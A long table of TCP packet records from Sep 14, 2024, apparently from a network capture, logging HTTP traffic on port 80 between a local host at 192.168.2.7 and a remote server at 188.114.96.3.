Sep 14, 2024 18:44:32.274164915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274167061 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.274178028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274183035 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.274193048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274205923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274205923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.274218082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274231911 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.274234056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274244070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.274266005 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.274293900 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.354989052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355037928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355093956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355099916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.355149031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355184078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355237007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355242014 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.355273962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355288982 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.355309010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355341911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355362892 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.355427027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355463028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355474949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.355499029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355532885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355545998 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.355567932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355602026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355638981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355649948 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.355674028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355683088 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.355710983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355742931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355757952 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.355776072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355809927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355834007 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.355846882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355875969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355895996 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.355907917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355958939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.355973005 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.355989933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356040001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356053114 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.356092930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356138945 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.356142998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356178045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356236935 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.356245041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356285095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356336117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356343031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.356389999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356421947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356440067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.356453896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356467962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356483936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356491089 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.356497049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356513977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356519938 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.356529951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356544971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356550932 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.356564999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356578112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356589079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356600046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356612921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356616020 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.356626034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356635094 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.356640100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356652975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356663942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356674910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356678963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.356689930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356709957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.356729984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.356874943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356888056 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356899977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356919050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356920004 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.356931925 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356937885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.356945992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356960058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356970072 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.356986046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.356997013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.357152939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.357166052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.357177973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.357188940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.357202053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.357203960 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.357239008 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.357250929 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.357274055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.357287884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.357299089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.357311010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.357322931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.357325077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.357336998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.357350111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.357350111 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.357362986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.357377052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.357387066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.357393026 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.357423067 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.357897997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.357949972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.357960939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.357990026 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.358014107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358026981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358037949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358050108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358066082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358067036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.358184099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.358184099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358184099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.358198881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358211040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358222961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358233929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358242035 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.358246088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358258963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358272076 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.358310938 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.358342886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358366966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358377934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358388901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358392000 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.358402014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358412981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358418941 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.358427048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358438969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358450890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358453989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.358464003 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358499050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.358499050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.358531952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358544111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358556032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358566999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358571053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.358597040 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.358867884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358880997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358892918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358903885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358921051 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.358947992 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.358958006 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358977079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.358989000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.359000921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.359000921 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.359038115 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.359046936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.359087944 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.359113932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.359126091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.359136105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.359153032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.359165907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.359169960 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.359177113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.359198093 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.359213114 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.445509911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.445570946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.445606947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.445641041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.445645094 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.445677042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.445698977 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.445723057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.445768118 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.445775032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.445806026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.445837975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.445862055 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.445894957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.445945024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.445947886 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.445979118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446007967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446036100 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.446058989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446091890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446114063 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.446120977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446155071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446162939 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.446228027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446280956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446285009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.446317911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446348906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446371078 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.446400881 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446433067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446453094 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.446465015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446499109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446512938 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.446532965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446546078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446563005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446594954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446602106 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.446629047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446630955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.446662903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446671963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.446706057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446738958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446748018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.446769953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446800947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446821928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.446835995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446870089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446882963 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.446922064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446954966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.446975946 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.446990013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447022915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447032928 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.447071075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447101116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447124958 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.447151899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447185993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447204113 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.447221041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447254896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447271109 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.447288990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447325945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447328091 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.447360039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447403908 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.447412014 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447444916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447479010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447504997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.447511911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447546005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447556019 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.447581053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447614908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447626114 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.447649002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447681904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447695971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.447715044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447743893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447771072 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.447777987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447810888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447822094 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.447844982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447876930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447889090 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.447910070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447947025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.447957993 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.447981119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448014021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448029041 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.448048115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448081017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448093891 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.448113918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448148966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448163033 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.448180914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448215008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448230028 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.448247910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448281050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448292971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.448314905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448348045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448363066 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.448384047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448416948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448436022 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.448450089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448482990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448498011 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.448517084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448549986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448564053 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.448585987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448618889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448627949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.448652983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448688030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448698997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.448724031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448756933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448771000 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.448790073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448822021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448829889 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:32.448856115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448890924 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:32.448904037 CEST	54891	80	192.168.2.7	188.114.96.3
